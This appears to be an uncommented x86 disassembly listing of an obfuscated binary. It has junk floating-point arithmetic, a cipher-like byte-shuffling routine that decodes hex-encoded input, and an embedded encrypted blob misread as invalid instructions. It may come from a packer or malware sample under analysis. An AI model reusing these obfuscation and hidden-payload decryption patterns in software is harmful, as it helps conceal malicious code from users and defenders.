addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x3568]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x350c]
addss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x35e4]
subss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [ebp - 0x35e4]
addss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [ebp - 0x350c]
addss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x35e4]
mulss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x35e4], xmm0
movss xmm0, dword [ebp - 0x350c]
addss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x343c]
comiss xmm0, dword [ebp - 0x33fc]
jbe 0x432f72
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x343c]
mulss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x33fc]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3448]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x3448], xmm0
jmp 0x433002
movss xmm0, dword [ebp - 0x343c]
addss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3568]
addss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3568]
subss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x3448]
addss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x3568]
divss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x3568], xmm0
movss xmm0, dword [ebp - 0x35e4]
mulss xmm0, dword [ebp - 0x33fc]
movss dword [ebp - 0x35e4], xmm0
jmp 0x433097
movss xmm0, dword [ebp - 0x3448]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x33fc]
divss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x350c]
addss xmm0, dword [ebp - 0x3568]
movss dword [ebp - 0x350c], xmm0
movss xmm0, dword [ebp - 0x33fc]
addss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x3568]
subss xmm0, dword [ebp - 0x35e4]
movss dword [ebp - 0x3568], xmm0
jmp 0x433141
movss xmm0, dword [ebp - 0x343c]
subss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3448]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x33fc]
mulss xmm0, dword [ebp - 0x3448]
movss dword [ebp - 0x33fc], xmm0
movss xmm0, dword [ebp - 0x343c]
mulss xmm0, dword [ebp - 0x350c]
movss dword [ebp - 0x343c], xmm0
movss xmm0, dword [ebp - 0x3448]
subss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
movss xmm0, dword [ebp - 0x3448]
mulss xmm0, dword [ebp - 0x343c]
movss dword [ebp - 0x3448], xmm0
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x3944]
movzx ecx, byte [eax]
mov dword [ebp - 0x37c8], ecx
mov dword [ebp - 0x37c4], 0x4b
mov edx, dword [ebp - 0x3370]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x394c], eax
mov ecx, dword [ebp - 0x3948]
add ecx, dword [ebp - 0x394c]
movzx edx, byte [ecx]
mov dword [ebp - 0x3784], edx
mov dword [ebp - 0x378c], 0x82
mov eax, dword [ebp - 0x37c8]
sub eax, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], eax
mov ecx, dword [ebp - 0x3784]
sub ecx, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], ecx
movss xmm0, dword [0xa6f328]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [0xa6f238]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [0xa6f0cc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x33dc]
mulss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x33dc]
subss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x33dc]
mulss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x33dc]
comiss xmm0, dword [ebp - 0x34d8]
jbe 0x433283
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
mov edx, dword [ebp - 0x3790]
shl edx, 4
mov dword [ebp - 0x3950], edx
jmp 0x4334a4
movss xmm0, dword [ebp - 0x33dc]
divss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x33dc]
addss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x33dc]
addss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x34d8]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x34d8]
comiss xmm0, dword [ebp - 0x33dc]
jbe 0x433371
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x34d8]
divss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x33dc]
divss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x33dc], xmm0
jmp 0x4334a4
movss xmm0, dword [ebp - 0x34d8]
mulss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x35a8]
divss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x33dc]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x34d8]
mulss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x33dc]
divss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x34d8]
addss xmm0, dword [ebp - 0x35a8]
movss dword [ebp - 0x34d8], xmm0
movss xmm0, dword [ebp - 0x35a8]
comiss xmm0, dword [ebp - 0x33dc]
jbe 0x43345c
movss xmm0, dword [ebp - 0x33dc]
addss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x35a8]
mulss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x35a8]
addss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
jmp 0x4334a4
movss xmm0, dword [ebp - 0x33dc]
mulss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
movss xmm0, dword [ebp - 0x35a8]
subss xmm0, dword [ebp - 0x33dc]
movss dword [ebp - 0x35a8], xmm0
movss xmm0, dword [ebp - 0x33dc]
mulss xmm0, dword [ebp - 0x34d8]
movss dword [ebp - 0x33dc], xmm0
mov eax, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], eax
mov ecx, dword [ebp - 0x3950]
or ecx, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], ecx
mov dl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], dl
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + eax - 0x5520]
mov byte [ebp - 0x32d5], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp - 0x327d]
add ecx, eax
mov byte [ebp - 0x327d], cl
mov dl, byte [ebp - 0x326c]
add dl, 1
mov byte [ebp - 0x326c], dl
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp - 0x3298]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp - 0x327d]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x326c]
movzx ecx, byte [ebp - 0x327c]
mov dl, byte [ebp + eax - 0x5520]
mov byte [ebp + ecx - 0x5520], dl
movzx eax, byte [ebp - 0x326c]
mov cl, byte [ebp - 0x32d5]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x32d5]
movzx eax, byte [ebp + edx - 0x5520]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x327d]
movzx ecx, byte [ebp + eax - 0x5520]
movzx eax, byte [ebp - 0x326c]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5520]
xor edx, ecx
movzx eax, byte [ebp - 0x327c]
movzx ecx, byte [ebp + eax - 0x5520]
movzx eax, byte [ebp - 0x3298]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x5520]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp + ecx - 0x5520]
xor edx, eax
mov byte [ebp - 0x327c], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], cl
mov dl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], dl
cmp dword [ebp - 0x3370], 0
jle 0x433652
movsx ax, byte [ebp - 0x3319]
mov ecx, dword [ebp - 0x3370]
mov word [ebp + ecx*2 - 0x2ae], ax
mov edx, dword [ebp - 0x356c]
add edx, 0xf
mov dword [ebp - 0x356c], edx
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x4ae4], eax
jmp 0x433681
mov ecx, dword [ebp - 0x4ae4]
add ecx, 1
mov dword [ebp - 0x4ae4], ecx
mov edx, dword [ebp - 0x4ae4]
cmp edx, dword [ebp - 0x356c]
jge 0x4338e2
mov eax, dword [ebp - 0x3370]
add eax, 1
mov dword [ebp - 0x3370], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x3944], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x3944]
movzx eax, byte [edx]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], 0x4b
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x394c], edx
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x394c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3784], ecx
mov dword [ebp - 0x378c], 0x82
mov edx, dword [ebp - 0x37c8]
sub edx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], edx
mov eax, dword [ebp - 0x3784]
sub eax, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], eax
mov ecx, dword [ebp - 0x3790]
shl ecx, 4
mov dword [ebp - 0x3950], ecx
mov edx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], edx
mov eax, dword [ebp - 0x3950]
or eax, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], eax
mov cl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x327d]
add eax, edx
mov byte [ebp - 0x327d], al
mov cl, byte [ebp - 0x326c]
add cl, 1
mov byte [ebp - 0x326c], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x326c]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
xor ecx, eax
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov byte [ebp - 0x327c], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], al
mov cl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x4338dd
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0x2ae], dx
jmp 0x433672
mov ecx, dword [ebp - 0x356c]
add ecx, 1
mov dword [ebp - 0x356c], ecx
mov edx, dword [ebp - 0x3370]
add edx, 1
mov dword [ebp - 0x3370], edx
mov eax, dword [ebp - 0x356c]
add eax, 1
mov dword [ebp - 0x356c], eax
mov ecx, dword [ebp - 0x3370]
shl ecx, 1
mov dword [ebp - 0x3944], ecx
mov edx, dword [ebp - 0x3948]
add edx, dword [ebp - 0x3944]
movzx eax, byte [edx]
mov dword [ebp - 0x37c8], eax
mov dword [ebp - 0x37c4], 0x4b
mov ecx, dword [ebp - 0x3370]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x394c], edx
mov eax, dword [ebp - 0x3948]
add eax, dword [ebp - 0x394c]
movzx ecx, byte [eax]
mov dword [ebp - 0x3784], ecx
mov dword [ebp - 0x378c], 0x82
mov edx, dword [ebp - 0x37c8]
sub edx, dword [ebp - 0x37c4]
mov dword [ebp - 0x3790], edx
mov eax, dword [ebp - 0x3784]
sub eax, dword [ebp - 0x378c]
mov dword [ebp - 0x3794], eax
mov ecx, dword [ebp - 0x3790]
shl ecx, 4
mov dword [ebp - 0x3950], ecx
mov edx, dword [ebp - 0x3794]
mov dword [ebp - 0x3954], edx
mov eax, dword [ebp - 0x3950]
or eax, dword [ebp - 0x3954]
mov dword [ebp - 0x3958], eax
mov cl, byte [ebp - 0x3958]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x3298]
mov al, byte [ebp + edx - 0x5520]
mov byte [ebp - 0x32d5], al
movzx ecx, byte [ebp - 0x326c]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x327d]
add eax, edx
mov byte [ebp - 0x327d], al
mov cl, byte [ebp - 0x326c]
add cl, 1
mov byte [ebp - 0x326c], cl
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp - 0x3298]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp - 0x327d]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
movzx eax, byte [ebp - 0x327c]
mov cl, byte [ebp + edx - 0x5520]
mov byte [ebp + eax - 0x5520], cl
movzx edx, byte [ebp - 0x326c]
mov al, byte [ebp - 0x32d5]
mov byte [ebp + edx - 0x5520], al
movzx ecx, byte [ebp - 0x32d5]
movzx edx, byte [ebp + ecx - 0x5520]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x327d]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x326c]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
xor ecx, eax
movzx edx, byte [ebp - 0x327c]
movzx eax, byte [ebp + edx - 0x5520]
movzx edx, byte [ebp - 0x3298]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x5520]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x5520]
movzx edx, byte [ebp + eax - 0x5520]
xor ecx, edx
mov byte [ebp - 0x327c], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x3298], al
mov cl, byte [ebp - 0x327c]
mov byte [ebp - 0x3319], cl
cmp dword [ebp - 0x3370], 0
jle 0x433b4a
movsx dx, byte [ebp - 0x3319]
mov eax, dword [ebp - 0x3370]
mov word [ebp + eax*2 - 0x2ae], dx
mov ecx, 2
imul edx, ecx, 0x23
mov dword [ebp - 0x51d0], edx
cmp dword [ebp - 0x51d0], 0x48
jae 0x433b63
jmp 0x433b68
call fcn.009f1ed7
xor eax, eax
mov ecx, dword [ebp - 0x51d0]
mov word [ebp + ecx - 0x2ac], ax
jmp 0x433bce
mov dword [ebp - 0x4844], 0
jmp 0x433b95
mov edx, dword [ebp - 0x4844]
add edx, 1
mov dword [ebp - 0x4844], edx
cmp dword [ebp - 0x4844], 0x24
jge 0x433bce
mov eax, dword [ebp - 0x4844]
shl eax, 1
mov dword [ebp - 0x51cc], eax
cmp dword [ebp - 0x51cc], 0x48
jae 0x433bb7
jmp 0x433bbc
call fcn.009f1ed7
xor ecx, ecx
mov edx, dword [ebp - 0x51cc]
mov word [ebp + edx - 0x2ac], cx
jmp 0x433b86
push 0
push 1
mov eax, dword [ebp - 0x458c]
push eax
lea ecx, [ebp - 0x204]
push ecx
push 0
lea edx, [ebp - 0x2ac]
push edx
movzx eax, byte [ebp + 0xc]
push eax
call fcn.00428c90
add esp, 0x1c
mov dword [ebp - 0x3248], 0
mov dword [ebp - 0x3244], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x472c], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4644], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x4644], xmm0
jmp 0x433c45
movsd xmm0, qword [ebp - 0x4644]
addsd xmm0, qword [0xa6e348]
movsd qword [ebp - 0x4644], xmm0
movsd xmm0, qword [0xa6e900]
comisd xmm0, xmmword [ebp - 0x4644]
jbe 0x433cf6
movsd xmm0, qword [0xa6e630]
mulsd xmm0, qword [ebp - 0x4644]
mulsd xmm0, qword [ebp - 0x4644]
movsd xmm1, qword [ebp - 0x4644]
mulsd xmm1, qword [ebp - 0x4644]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6e3d0]
mulsd xmm1, qword [ebp - 0x4644]
mulsd xmm1, qword [ebp - 0x4644]
addsd xmm1, qword [0xa6e4c0]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x472c]
movsd qword [ebp - 0x472c], xmm0
movsd xmm0, qword [ebp - 0x472c]
comisd xmm0, xmmword [0xa6e570]
jbe 0x433cf1
movsd xmm0, qword [0xa6e258]
mulsd xmm0, qword [ebp - 0x4644]
movsd xmm1, qword [ebp - 0x472c]
subsd xmm1, xmm0
movsd qword [ebp - 0x472c], xmm1
jmp 0x433c2d
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x472c]
jbe 0x433d74
bound esi, qword [ecx]
inc edi
cmp eax, 0x37437676
cmp eax, 0x5d3b6748
dec edi
pop ebp
and dword [ebx + 0x65], edi
push edx
push edx
sbb byte [esi + 0x15], ch
and byte [bp + 0x22], ch
sbb dword fs:[edx + 0x18], esp
insd dword es:[edi], dx
pop ss
pushal
sbb al, 0x60
push ds
pushal
pop ds
sbb eax, 0x1d65205f
popal
adc eax, 0x1e61216d
pushal
pop ds
popal
pop ds
sbb ah, byte fs:[ebp + 0x21]
push 0x14
push 0x691c6920
push ss
imul edx, dword [0x166e1e6e], 0x5f
and esp, dword [ecx + 0x63]
push ss
push 0x1e
adc eax, 0x1d691e64
and dword fs:[edi + 0x14], esp
pop edi
sbb esp, dword [edi + 0x23]
imul edx, dword [0x20691d61], 0x63
and byte [ecx + 0x19], ah
pop edi
sbb ch, byte [ecx + ebp*8 - 0x4f]
sub byte [eax], al
add bh, al
test dword [eax + 0x17ffffcd], edi
cmp eax, 0x85c70043
mov esp, 0x3ffffcd
cmp eax, 0x8d8b0043
mov eax, 0x89ffffcd
invalid
mov dword [ebp - 0x3248], 0x433d17
mov dword [ebp - 0x3244], 0x433d03
mov ecx, dword [ebp - 0x3248]
mov dword [ebp - 0x3718], ecx
mov edx, dword [ebp - 0x3244]
mov dword [ebp - 0x5fbc], edx
mov byte [ebp - 0x3fe7], 0x18
mov dword [ebp - 0x395c], 0
jmp 0x433dc2
mov eax, dword [ebp - 0x395c]
add eax, 1
mov dword [ebp - 0x395c], eax
cmp dword [ebp - 0x395c], 0x100
jae 0x433de3
mov ecx, dword [ebp - 0x395c]
mov dl, byte [ebp - 0x395c]
mov byte [ebp + ecx - 0x5028], dl
jmp 0x433db3
mov dword [ebp - 0x44cc], 0
mov byte [ebp - 0x334b], 0
mov dword [ebp - 0x395c], 0xff
jmp 0x433e0f
mov eax, dword [ebp - 0x395c]
sub eax, 1
mov dword [ebp - 0x395c], eax
cmp dword [ebp - 0x395c], 0
jbe 0x43407f
mov dword [ebp - 0x4ae8], 0
mov dword [ebp - 0x4840], 1
mov ecx, dword [ebp - 0x4840]
cmp ecx, dword [ebp - 0x395c]
jae 0x433e50
mov edx, dword [ebp - 0x4840]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4840], eax
jmp 0x433e30
mov ecx, dword [ebp - 0x44cc]
mov dword [ebp - 0x51c8], ecx
cmp dword [ebp - 0x51c8], 3
ja case.default.0x433e6f
mov edx, dword [ebp - 0x51c8]
jmp dword [edx*4 + 0x46b520]
movzx eax, byte [ebp - 0x334b]
movzx ebx, byte [ebp + eax - 0x5028]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f23b0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334b], bl
jmp 0x433f58
movzx ecx, byte [ebp - 0x334b]
movzx ebx, byte [ebp + ecx - 0x5028]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f23b0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334b], bl
jmp 0x433f58
movzx edx, byte [ebp - 0x334b]
movzx ebx, byte [ebp + edx - 0x5028]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f23b0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334b], bl
jmp 0x433f58
movzx eax, byte [ebp - 0x334b]
movzx ebx, byte [ebp + eax - 0x5028]
movsd xmm0, qword [ebp - 0x472c]
call fcn.009f23b0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x334b], bl
jmp 0x433f58
movzx ecx, byte [ebp - 0x334b]
movzx edx, byte [ebp + ecx - 0x5028]
mov eax, dword [ebp - 0x5fbc]
add eax, dword [ebp - 0x44cc]
movzx ecx, byte [eax - 4]
add edx, ecx
mov byte [ebp - 0x334b], dl
mov edx, dword [ebp - 0x44cc]
add edx, 1
mov dword [ebp - 0x44cc], edx
movzx eax, byte [ebp - 0x3fe7]
cmp dword [ebp - 0x44cc], eax
jb 0x433f96
mov dword [ebp - 0x44cc], 0
movzx ecx, byte [ebp - 0x3fe7]
movzx edx, byte [ebp - 0x334b]
add edx, ecx
mov byte [ebp - 0x334b], dl
movzx eax, byte [ebp - 0x334b]
and eax, dword [ebp - 0x4840]
mov dword [ebp - 0x4338], eax
mov ecx, dword [ebp - 0x4ae8]
add ecx, 1
mov dword [ebp - 0x4ae8], ecx
cmp dword [ebp - 0x4ae8], 0xb
jbe 0x433fd5
mov eax, dword [ebp - 0x4338]
xor edx, edx
div dword [ebp - 0x395c]
mov dword [ebp - 0x4338], edx
mov edx, dword [ebp - 0x4338]
cmp edx, dword [ebp - 0x395c]
ja 0x433e50
mov eax, dword [ebp - 0x395c]
cmp eax, dword [ebp - 0x4338]
je 0x43407a
mov ecx, dword [ebp - 0x4338]
movzx edx, byte [ebp + ecx - 0x5028]
mov eax, dword [ebp - 0x395c]
movzx ecx, byte [ebp + eax - 0x5028]
xor ecx, edx
mov edx, dword [ebp - 0x395c]
mov byte [ebp + edx - 0x5028], cl
mov eax, dword [ebp - 0x395c]
movzx ecx, byte [ebp + eax - 0x5028]
mov edx, dword [ebp - 0x4338]
movzx eax, byte [ebp + edx - 0x5028]
xor eax, ecx
mov ecx, dword [ebp - 0x4338]
mov byte [ebp + ecx - 0x5028], al
mov edx, dword [ebp - 0x4338]
movzx eax, byte [ebp + edx - 0x5028]
mov ecx, dword [ebp - 0x395c]
movzx edx, byte [ebp + ecx - 0x5028]
xor edx, eax
mov eax, dword [ebp - 0x395c]
mov byte [ebp + eax - 0x5028], dl
jmp 0x433e00
mov ecx, 1
shl ecx, 0
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x3263], dl
mov eax, 1
imul ecx, eax, 3
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x326f], dl
mov eax, 1
imul ecx, eax, 5
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x32c0], dl
mov eax, 1
imul ecx, eax, 7
mov dl, byte [ebp + ecx - 0x5028]
mov byte [ebp - 0x3276], dl
movzx eax, byte [ebp - 0x334b]
mov cl, byte [ebp + eax - 0x5028]
mov byte [ebp - 0x328d], cl
mov dword [ebp - 0x51c4], 0x58
cmp dword [ebp - 0x51c4], 2
jle 0x4365d1
mov edx, dword [ebp - 0x51c4]
and edx, 1
jne 0x4365d1
mov dword [ebp - 0x3344], 0
mov dword [ebp - 0x34e4], 0
mov eax, dword [ebp - 0x34e4]
add eax, 1
mov dword [ebp - 0x34e4], eax
mov dword [ebp - 0x3714], 0
mov ecx, dword [ebp - 0x3344]
shl ecx, 1
mov dword [ebp - 0x3714], ecx
mov dword [ebp - 0x3698], 0
mov edx, dword [ebp - 0x3718]
add edx, dword [ebp - 0x3714]
movzx eax, byte [edx]
add eax, dword [ebp - 0x3698]
mov dword [ebp - 0x3698], eax
mov dword [ebp - 0x369c], 0
mov ecx, dword [ebp - 0x369c]
add ecx, 0x14
mov dword [ebp - 0x369c], ecx
mov dword [ebp - 0x371c], 0
mov edx, dword [ebp - 0x3344]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x371c], eax
mov dword [ebp - 0x36a0], 0
movsd xmm0, qword [0xa6ef10]
movsd qword [ebp - 0x464c], xmm0
movsd xmm0, qword [0xa6ecf0]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [0xa6ea00]
movsd qword [ebp - 0x48f4], xmm0
movsd xmm0, qword [ebp - 0x464c]
mulsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x464c], xmm0
movsd xmm0, qword [ebp - 0x48ec]
subsd xmm0, qword [ebp - 0x48f4]
movsd qword [ebp - 0x48ec], xmm0
movsd xmm0, qword [ebp - 0x464c]
